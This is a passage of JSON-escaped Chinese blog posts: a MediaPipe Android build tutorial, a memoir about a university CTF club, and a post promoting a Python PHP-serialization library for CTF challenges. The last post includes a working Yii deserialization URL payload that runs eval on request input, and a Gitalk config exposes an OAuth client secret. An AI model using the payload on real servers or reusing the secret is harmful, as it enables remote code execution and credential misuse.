class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003ccode class=\"hljs shell\"\u003eI20200707 09:21:50.275205 16138 hello_world.cc:56] Hello World!\u003cbr\u003eI20200707 09:21:50.276554 16138 hello_world.cc:56] Hello World!\u003cbr\u003eI20200707 09:21:50.276665 16138 hello_world.cc:56] Hello World!\u003cbr\u003eI20200707 09:21:50.276768 16138 hello_world.cc:56] Hello World!\u003cbr\u003eI20200707 09:21:50.276887 16138 hello_world.cc:56] Hello World!\u003cbr\u003eI20200707 09:21:50.277523 16138 hello_world.cc:56] Hello World!\u003cbr\u003eI20200707 09:21:50.278563 16138 hello_world.cc:56] Hello World!\u003cbr\u003eI20200707 09:21:50.279263 16138 hello_world.cc:56] Hello World!\u003cbr\u003eI20200707 09:21:50.279850 16138 hello_world.cc:56] Hello World!\u003cbr\u003eI20200707 09:21:50.280354 16138 hello_world.cc:56] Hello World!\u003cbr\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e(4)下载安卓编译所需的SDK和NDK\u003c/p\u003e\u003cfigure class=\"highlight shell\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003ccode class=\"hljs shell\"\u003echmod +x ./setup_android_sdk_and_ndk.sh\u003cbr\u003ebash ./setup_android_sdk_and_ndk.sh ~/Android/Sdk ~/Android/Ndk r18b\u003cbr\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e\u003cstrong\u003e建议使用r18b减少其他意外出现\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e建议顺便设置下环境变量:\u003c/p\u003e\u003cfigure class=\"highlight shell\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003ccode class=\"hljs shell\"\u003eexport ANDROID_HOME=\u0026quot;~/Android/Sdk\u0026quot;\u003cbr\u003eexport ANDROID_NDK_HOME=\u0026quot;~/Android/Ndk/android-ndk-r21b\u0026quot;\u003cbr\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"编译所需aar包-测试hand-tracking\"\u003e\u003ca href=\"#编译所需aar包-测试hand-tracking\" class=\"headerlink\" title=\"编译所需aar包(测试hand_tracking)\"\u003e\u003c/a\u003e编译所需aar包(测试hand_tracking)\u003c/h2\u003e\u003cp\u003e(1)配置bazel build文件\u003c/p\u003e\u003cfigure class=\"highlight shell\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003ccode class=\"hljs shell\"\u003ecd mediapipe/examples/android/src/java/com/google/mediapipe/apps/\u003cbr\u003emkdir buid_aar \u0026amp;\u0026amp; cd buid_aar\u003cbr\u003evim BUILD\u003cbr\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cblockquote\u003e\u003cp\u003e编译文件BUILD中内容如下,name是生成后aar的名字,calculators为使用的模型和计算单元,其他的模型和支持计算单元可以查看 mediapipe\u0026#x2F;graphs\u0026#x2F;目录下的内容,在这个目录都是Mediapipe支持的模型。其中目录 hand_tracking就是使用到的模型,支持的计算单元需要查看该目录下的BUILD文件中的 cc_library,这里我们是要部署到Android端的,所以选择Mobile的计算单元。本教程我们使用mobile_calculators,这个只检测一个手的关键点,如何想要检查多个收修改成这个计算单元multi_hand_mobile_calculators。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e之后输入:\u003c/p\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003ccode class=\"hljs build\"\u003eload(\u0026quot;//mediapipe/java/com/google/mediapipe:mediapipe_aar.bzl\u0026quot;, \u0026quot;mediapipe_aar\u0026quot;)\u003cbr\u003e\u003cbr\u003emediapipe_aar(\u003cbr\u003e name = \u0026quot;mediapipe_hand_tracking\u0026quot;,\u003cbr\u003e calculators = [\u0026quot;//mediapipe/graphs/hand_tracking:mobile_calculators\u0026quot;],\u003cbr\u003e)\u003cbr\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e(2)开始编译aar\u003c/p\u003e\u003cfigure class=\"highlight shell\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003ccode class=\"hljs shell\"\u003echmod -R 755 mediapipe/\u003cbr\u003e\u003cbr\u003ebazel build -c opt --fat_apk_cpu=arm64-v8a,armeabi-v7a \\\u003cbr\u003e//mediapipe/examples/android/src/java/com/google/mediapipe/apps/buid_aar:mediapipe_hand_tracking\u003cbr\u003ebazel build -c opt mediapipe/graphs/hand_tracking:hand_tracking_mobile_gpu_binary_graph\u003cbr\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e在漫长的等待后,就找到文件 bazel-bin\u0026#x2F;mediapipe\u0026#x2F;examples\u0026#x2F;android\u0026#x2F;src\u0026#x2F;java\u0026#x2F;com\u0026#x2F;google\u0026#x2F;mediapipe\u0026#x2F;apps\u0026#x2F;buid_aar\u0026#x2F;mediapipe_hand_tracking.aar。\u003c/p\u003e","url":"https://xiue233.github.io/2022/10/01/compile_mediapipe/"}]},{"name":"Frank","email":"","uri":"https://blog.frankli.site/","description":"","article":[{"title":"关于大学","time":"2022-07-02T16:00:00Z","content":"\u003cp\u003e大学四年,做了些事。\u003c/p\u003e\n\u003ch2 id=\"认识了XDSEC里的众大佬\"\u003e认识了XDSEC里的众大佬\u003c/h2\u003e\n\u003cp\u003e记得在高中毕业后,俺作为学校六页高考排名中的最后一页上的人,上西电都是感觉稍有些悬。俺在西电的招生外场碰到了张宁老师,知道了西电的网络与信息安全学院,还云\u003chr /\u003e\u003cp\u003e大学四年,做了些事。\u003c/p\u003e\u003ch2 id=\"认识了XDSEC里的众大佬\"\u003e认识了XDSEC里的众大佬\u003c/h2\u003e\u003cp\u003e记得在高中毕业后,俺作为学校六页高考排名中的最后一页上的人,上西电都是感觉稍有些悬。俺在西电的招生外场碰到了张宁老师,知道了西电的网络与信息安全学院,还云里雾里地参加了张老师带着16、17级学长办的第一届mssctf。当时作为一个垃圾算法选手,一道安全的题都没做出来,但是凭着垃圾算法基础还混了5k块钱。在赛后的宣讲会上pupile师傅将俺拉进了XDSEC招新群,在moeCTF上现学现卖,入门网络安全相关的知识,过程中还碰到了大学中认识的第一个同学konge,和他在moe榜单上🤺,还在线下见了家长(什么东西),最终成为了舍友(但似乎我并没有怎么回宿舍)。于是俺的大学便以XDSEC为线索展开了。\u003c/p\u003e\u003cp\u003e大一的时候俺就成天呆社团活动室(就说是实验室吧),甚至被导员给家长打了电话(但是后面导员似乎也放弃管我了2333),于是认识了睡在桌子底下的带带带能猫,认识了在mac上打300英雄的f1sh,认识了佛山富少w1nd,flight,去师傅… 成为了实验室守夜人之一(其实实验室离教室近【狡辩】)。\u003c/p\u003e\u003cp\u003e张老师带实验班,俺大一在垫底的软件工程,于是俺大二就靠实验班转了个专业。得益于我特殊的搜索技巧(至今自己都觉得离谱),俺在实验班机试里超了第二名一倍的分(呜呜呜对不起我真的忘了第二名是谁了对不起对不起),但是代价是俺的高数是补考过的。社团里18级的几个一直活跃着的同学最终基本都进了实验班。\u003c/p\u003e\u003cp\u003e大二期间,由于和学长们混得比较熟,又吃了些高中时期的技术的底子,成了XDSEC的2020年背锅人。俺作为一个自闭人,在到2021年四月的这一年时间里,硬是磕磕碰碰地向一些不认识的领导做了些报告,组织着社团的同学们做了些奇奇怪怪的事情(比如吃饭)。很多事情都是第一次做,有很多遗憾和尴尬,但是整体。。还行?感觉社团还的大方向没有太偏离就是最大的成功了,我觉得我选了逆向手Rx来接手XDSEC还是挺不错的一个选择(\u003c/p\u003e\u003ch2 id=\"维护了几个学生组织的几个服务器\"\u003e维护了几个学生组织的几个服务器\u003c/h2\u003e\u003cp\u003e大学期间,俺们社团随张老师办了三届的mssctf。每届mssctf俺们都搞了些新玩意玩。第二届俺们给CTFd写了个简陋的judge用来判算法题;第三届由于是线上赛,俺们给web题上了动态容器和腾讯的日志分析,可以看选手打的payload;第四届俺在新拿到的423活动室里拖着几个学弟用scapy写了些重组pcap中的tcp会话用的脚本,用来审计选手打pwn题的payload,顺便帮他们预习了下寄网,线下俺们又搞了一套能和CTFd配合运行的有时间限制的vnc+浏览器,让选手能在受控的网络环境下上网,让我们能盯着他们不要互相py,虽然由于网络设备不稳定运行得非常磕磕绊绊,但系统自身确实没出什么问题,很让人意外(\u003c/p\u003e\u003cp\u003e大三下,我突然来了些奇怪的兴致,维护了一段时间的开源社区的镜像和睿思的论坛,碰到了些奇奇怪怪的坑,写了些奇奇怪怪的代码。\u003c/p\u003e\u003cp\u003e俺给开源社区的机子换了个俺自己写的同步脚本,修了下git服务,在mirrorz群里潜水,后来又试图复苏开源\u003cem\u003e社区\u003c/em\u003e,找人接手,后来高算中心的老师找到我说他们本来希望做个镜像站,发现开源社区已经做过了,遂在毕业之际将镜像站迁移到了高算中心的机房。顺便,我和网管会的学弟联了系,希望他们能恢复组织起社区真正的活动。\u003c/p\u003e\u003cp\u003e睿思的服务器也年久失修。19级的学弟刚接手便碰到了行政上的坑(毕竟是pt站…),需要将论坛和pt站分离开来。俺帮着迁移了下数据库,踩了踩mariadb自增int的坑,搭了搭新的pt站,也算是做了点微小的工作。\u003c/p\u003e\u003ch2 id=\"参加了若干CTF比赛\"\u003e参加了若干CTF比赛\u003c/h2\u003e\u003cp\u003e19年以前,俺和社团的众大佬一起玩一些线上的比赛,什么虎符啊,网鼎啊,XCTF啊,还有去了个究极尬的还要拍死亡黑照吊在学校大广告牌上示众的360WCTF,结果只能说是,比清华高(指倒数第三)。19年以来,疫情反复。然而我们还是有一些机会去一些线下赛。\u003c/p\u003e\u003cp\u003e印象深刻的比赛有:\u003c/p\u003e\u003ch3 id=\"wctf\"\u003ewctf\u003c/h3\u003e\u003cp\u003e应该是疫情前俺参与的唯一一场线下赛,场面宏大,宾馆豪华,还帮张老师给360的学长送了个小徽章,还和国外战队亲切交流(真的,在恰饭的时候和eat sleep pwn repeat的几个欧洲人【字面义】讨论他们的队伍名该怎么翻译成中文),非常的有意思。\u003c/p\u003e\u003ch3 id=\"某次acm区域赛\"\u003e某次acm区域赛\u003c/h3\u003e\u003cp\u003e当时和几个学长组了个队,打了或许是人生中的最后一场acm,毫不意外地打了铁。去比赛的路上因为买错了票,坐了12个小时的硬卧。\u003c/p\u003e\u003ch3 id=\"国赛\"\u003e国赛\u003c/h3\u003e\u003cp\u003e讲个笑话,ylb办awd\u003c/p\u003e\u003ch3 id=\"bytectf\"\u003ebytectf\u003c/h3\u003e\u003cp\u003e被鱼师傅的\u003ca href=\"https://github.com/frank-dockerfiles/wallbreaker2020-reproduction\"\u003ewallbreaker\u003c/a\u003e按在地上打,在赛场上死活翻代码翻不出来什么所以然,还不敢上互联网。。。\u003c/p\u003e\u003ch3 id=\"xctf-final\"\u003exctf final\u003c/h3\u003e\u003cp\u003e和学弟和happy去打,题目出人意料地都不难,平台虚拟化没做好可以逃逸(这现在可以说了吧。。。),报给了主办方。后来听说两个队因为逃了逸但是没上报导致成绩取消。\u003cbr\u003e结束以后和诸葛老师合了影,可是找不到了呜呜呜呜呜\u003c/p\u003e\u003ch2 id=\"写了些东西\"\u003e写了些东西\u003c/h2\u003e\u003ch3 id=\"CyanBot\"\u003eCyanBot\u003c/h3\u003e\u003cp\u003e一开始俺还是酷Q噗肉的忠实用户,认识了rc和他写的cqhttp,直到酷Q倒了。后来看到了mirai和gocq,cqhttp也变成了onebot。cqhttp.Cyan一开始也就是俺大一的时候(当时俺还是软件工程专业)的某门课的大作业,但是一直以来在学生机上跑得还蛮稳定的,没做什么大的修改。直到现在还在跑俺的ctf通知bot以及自动回复。\u003c/p\u003e\u003cp\u003eCyanBot一开始写的契机是,当时俺还在软院科协,认识的是软院科协的众大佬:十三女装,尹大人,给俺安利了Celeste的炮哥哥,还有写了xindubot的心渡老师,当时他的bot跑在以webqq为基础的某python包之上,恰逢疼逊关闭了webqq,于是俺直接进行了一个自动回复bot的复现(核心科技:谢谢你,我学会了,你呢)。\u003c/p\u003e\u003ch3 id=\"CTFd-Whale\"\u003eCTFd \u0026amp; Whale\u003c/h3\u003e\u003cp\u003e在使用CTFd的过程中给CTFd修了些奇怪的bug,还有一开始用在buuoj上的whale,glzjin维护到CTFdv2就不维护了,遂fork并继续维护。\u003cbr\u003e在此过程中顺便帮助了挺多人搭建了CTFd with whale,包括一些私有靶场以及https://ctf.show。\u003c/p\u003e\u003ch3 id=\"etc\"\u003eetc\u003c/h3\u003e\u003cp\u003e还有一些零零碎碎的小脚本。\u003c/p\u003e\u003ch2 id=\"疫情\"\u003e疫情\u003c/h2\u003e\u003cp\u003e我的大学的前一半与后一半被疫情隔了开来。COVID-19标记着中国社会的一个重大的转变。记得李文亮医生一开始发声之时,当时看着泄露出的紧急培训医生用的ppt,完全没有意识到后面事物的发展。两年半以来,疫情曾一次次地冲破了我和身边人的计划,也彻底地改变了无数人的生活(或许不是“负面”的改变?)。\u003c/p\u003e\u003cp\u003e疫情从暗流涌动,到大爆发,再到举社会之力动态清零,其政治属性不断加码。疫情本身拖垮了无数人的当下,政治化的疫情拖垮了无数人的未来。\u003c/p\u003e\u003ch2 id=\"青可\"\u003e青可\u003c/h2\u003e\u003cp\u003e从和青可在高中的相识已经过去了六年多。从高中时慢慢和青可建立起互相信任的关系,到大学时维持着长久的联系,再到一道前往上海……\u003c/p\u003e\u003ch2 id=\"研\"\u003e研\u003c/h2\u003e\u003cp\u003e上研与否,似乎成为了一个非常非常难以抉择的事情。\u003c/p\u003e\u003cp\u003e俺妈是博士后,从俺高中起就一直督促我:提高学历,才能不受制于人。这个道理显而易见:当下的分流政策指引着一切的社会地位的流动,而人才分流的一大手段便是\u003cem\u003e看学历\u003c/em\u003e。其实俺妈最主要的论据还是上研能够有另一段能够自由学习的时间,去提高自己的科学以及社会素养。\u003c/p\u003e\u003cp\u003e俺认识的,熟悉的学长大多数直接出来工了作。俺周围的同学普遍来讲都认为上研并不能提升自己的能力,仅仅是换个地方打工罢了。\u003c/p\u003e\u003cp\u003e观察大多数上了研的,信安社团的,不是社团的学长学姐们,他们也一样迷茫,觉得累,觉得没有学到真正的东西,上研以后社会环境变得越来越差,难以找到工作;但我又明白他们所表露出来的或许不是他们真实的状态,又或许我所观察到的并不是常态。\u003c/p\u003e\u003cp\u003e看着落户政策里对待研究生与本科生巨大的差异,社会将人分开的残酷性是一定的了。但俺俩的\u003cstrong\u003e幼稚\u003c/strong\u003e又不允许我们在我向来不习惯的教育环境下虚度几年的时间。纠结着,被两边拖拽着,被海量的信息淹没着,俺们还是在迷茫中找了工作,没去上研。\u003c/p\u003e\u003cp\u003e俺们\u003cem\u003e随心所欲\u003c/em\u003e了么?我觉得没有。我们还没来得及给自己给出答案。俺们没有一些工作了的学长的决绝,亦没有俺妈那样的阅历。或许,过两年俺们会被现实打醒回去考研吧。或许。又或许,我们会选另一条更显而易见的,仅剩的路?\u003c/p\u003e\u003ch2 id=\"以及很多其他的重要的事与人\"\u003e以及很多其他的重要的事与人\u003c/h2\u003e\u003cp\u003e我长久以来未曾写过些什么文字,现在也不会写。我想到些什么,便罗列在上面了。后面的几周或许会写些别的,或许不会。只是写给自己看罢了。\u003c/p\u003e\u003cdiv id=\"gitalk-container\"\u003e\u003c/div\u003e\u003cscript src=\"https://cdn.bootcss.com/blueimp-md5/2.12.0/js/md5.min.js\"\u003e\u003c/script\u003e\u003clink rel=\"stylesheet\" href=\"https://unpkg.com/gitalk/dist/gitalk.css\"\u003e\u003cscript src=\"https://unpkg.com/gitalk/dist/gitalk.min.js\"\u003e\u003c/script\u003e\u003cscript\u003evar gitalkConfig = {\"clientID\":\"5955d155fe2ea768241e\",\"clientSecret\":\"f96bbda9ff434950217f24f7f9369f8b8de3b025\",\"repo\":\"frankli0324.github.io\",\"owner\":\"frankli0324\",\"admin\":[\"frankli0324\"],\"distractionFreeMode\":false}; gitalkConfig.id = md5(location.pathname);var gitalk = new Gitalk(gitalkConfig); gitalk.render(\"gitalk-container\"); \u003c/script\u003e\u003clink rel=\"stylesheet\" href=\"/css/spoiler.css\" type=\"text/css\"\u003e\u003cscript src=\"/js/spoiler.js\" type=\"text/javascript\" async\u003e\u003c/script\u003e","url":"https://blog.frankli.site/2022/07/03/Misc/%E5%85%B3%E4%BA%8E%E5%A4%A7%E5%AD%A6/"},{"title":"python实现的php序列化","time":"2021-06-14T16:00:00Z","content":"\u003cblockquote\u003e\n\u003cp\u003e就单纯想推销一下\u003ca href=\"https://github.com/frankli0324/libphpserialize\"\u003elibphpserialize\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch2 id=\"如何用Python实现PH\u003chr /\u003e\u003cblockquote\u003e\u003cp\u003e就单纯想推销一下\u003ca href=\"https://github.com/frankli0324/libphpserialize\"\u003elibphpserialize\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003ch2 id=\"如何用Python实现PHP的序列化\"\u003e如何用Python实现PHP的序列化\u003c/h2\u003e\u003col\u003e\u003cli\u003e脑补\u003c/li\u003e\u003cli\u003e写代码\u003c/li\u003e\u003c/ol\u003e\u003ch2 id=\"如何使用libphpserialize\"\u003e如何使用libphpserialize\u003c/h2\u003e\u003ch3 id=\"安装\"\u003e安装\u003c/h3\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003epip3 install libphpserialize\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"使用\"\u003e使用\u003c/h3\u003e\u003cfigure class=\"highlight python\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efrom\u003c/span\u003e phpserialize \u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e serialize\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprint\u003c/span\u003e(serialize(\u003cspan class=\"number\"\u003e1\u003c/span\u003e))\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e非常银杏方便\u003c/p\u003e\u003ch2 id=\"为什么不用php自己的serialize?\"\u003e为什么不用php自己的serialize?\u003c/h2\u003e\u003col\u003e\u003cli\u003e不用在你的电脑上安装php\u003c/li\u003e\u003cli\u003epython有requests/httpx,php没有\u003c/li\u003e\u003cli\u003e简化做题流程\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e想象一下这样的场景:\u003c/p\u003e\u003cp\u003e你在打一个比赛,在做一道反序列化相关的题目。你启动了一个定时销毁的容器,这个容器限时一个小时。你在第50分钟的时候找到了合适的pop链,并用5分钟用python写出了触发反序列化的python poc。\u003c/p\u003e\u003cp\u003e你慌忙地打开了一个新的文件,将类的定义拷贝了过来,给他们赋了各种属性,然后\u003ccode\u003eecho serialize($obj);\u003c/code\u003e,结果发现有个private属性,于是又慌忙地改成了 \u003ccode\u003eecho urlencode(serialize($obj));\u003c/code\u003e,又在命令行中 \u003ccode\u003ephp generate.php\u003c/code\u003e,复制,粘贴进python脚本,执行脚本,最后发现题目里头的反序列化入口处他 \u003ccode\u003ebase64_decode\u003c/code\u003e 了一下,于是又回头去将 \u003ccode\u003eurlencode\u003c/code\u003e 改成 \u003ccode\u003ebase64_encode\u003c/code\u003e,复制,粘贴,执行python脚本,运行,502,你很愤怒,用浏览器去访问了一下这个链接,发现容器已经过期了。你人麻了。\u003c/p\u003e\u003cimg src=\"/2021/06/15/Misc/libphpserialize/timeout.png\" class=\"\"\u003e\u003cp\u003e再想象一下这样的场景:\u003c/p\u003e\u003cp\u003e你已经成功地构造好了pop链,但是这个链非常长,而且需要精巧地构造属性值。你觉得用python构造这样的属性最简单,但是又不得不print出来然后粘贴到php代码里。你构造好了 \u003ccode\u003esystem('cat /flag');\u003c/code\u003e 的payload,结果发现出题人在 \u003ccode\u003edisable_functions\u003c/code\u003e 中禁用了system函数。你不得不重新来一遍整个流程,构造属性,复制粘贴,生成序列化串,将序列化串粘回到python脚本里,请求。可是你突然发现你构造出来的序列化后的串突然用不了了,你找了10分钟,最后发现由于终端输出的字符数量限制,你只复制了一半。你非常气愤,直接在python脚本里 \u003ccode\u003epayload = input()\u003c/code\u003e,然后直接用管道符运行 \u003ccode\u003ephp generate.php | python3 exp.py\u003c/code\u003e,结果发现仍然打不通。你又找了半天,发现php代码里用于调试的几个var_dump没有删。你一怒之下关闭了vscode,打开了LOL,找几个憨批进行一个人的祖安,还破坏了他人的游戏体验。\u003c/p\u003e\u003cimg src=\"/2021/06/15/Misc/libphpserialize/defeat.jpeg\" class=\"\"\u003e\u003cp\u003e再想象一下:\u003c/p\u003e\u003cp\u003e你的队友找到了一条pop链,但是二话不说给你发过来这样一串谜语\u003c/p\u003e\u003cfigure class=\"highlight plain\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e?r\u0026#x3D;site%2Fabout\u0026amp;message\u0026#x3D;TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNzoieWlpXHdlYlxEYlNlc3Npb24iOjE6e3M6MTM6IndyaXRlQ2FsbGJhY2siO2E6Mjp7aTowO086MzI6InlpaVxjYWNoaW5nXEV4cHJlc3Npb25EZXBlbmRlbmN5IjoxOntzOjEwOiJleHByZXNzaW9uIjtzOjIzOiJldmFsKCRfUkVRVUVTVFsiYW50Il0pOyI7fWk6MTtzOjE4OiJldmFsdWF0ZURlcGVuZGVuY3kiO319fQo\u0026#x3D;\u0026amp;ant\u0026#x3D;phpinfo();\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e你的眼睛都要看瞎了,可是你访问了这个url,竟然真的打通了。你接下来想继续往进探一探,于是打开了hackbar,痛苦地一个字符一个字符地去改。你题做完了,眼睛也废了。结果你的憨批队友又不想写wp,想让你来写。你想打游戏,于是也贴了这么一大长串。评论区生气了,说你这谁**看得懂。\u003c/p\u003e\u003cp\u003e如果你有类似的经历,那你可以用libphpserialize来拯救你快乐的一天。\u003c/p\u003e\u003ch2 id=\"示例\"\u003e示例\u003c/h2\u003e\u003cdiv class='spoiler collapsed'\u003e \u003cdiv class='spoiler-title'\u003e 强网杯2021,pop_master \u003c/div\u003e \u003cdiv class='spoiler-content'\u003e \u003cfigure class=\"highlight python\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e34\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e35\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e36\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e37\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e38\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e39\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e40\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e41\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e42\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e43\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e44\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e45\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e46\u003c/span\u003e\u003cbr\u003e\u003cspan 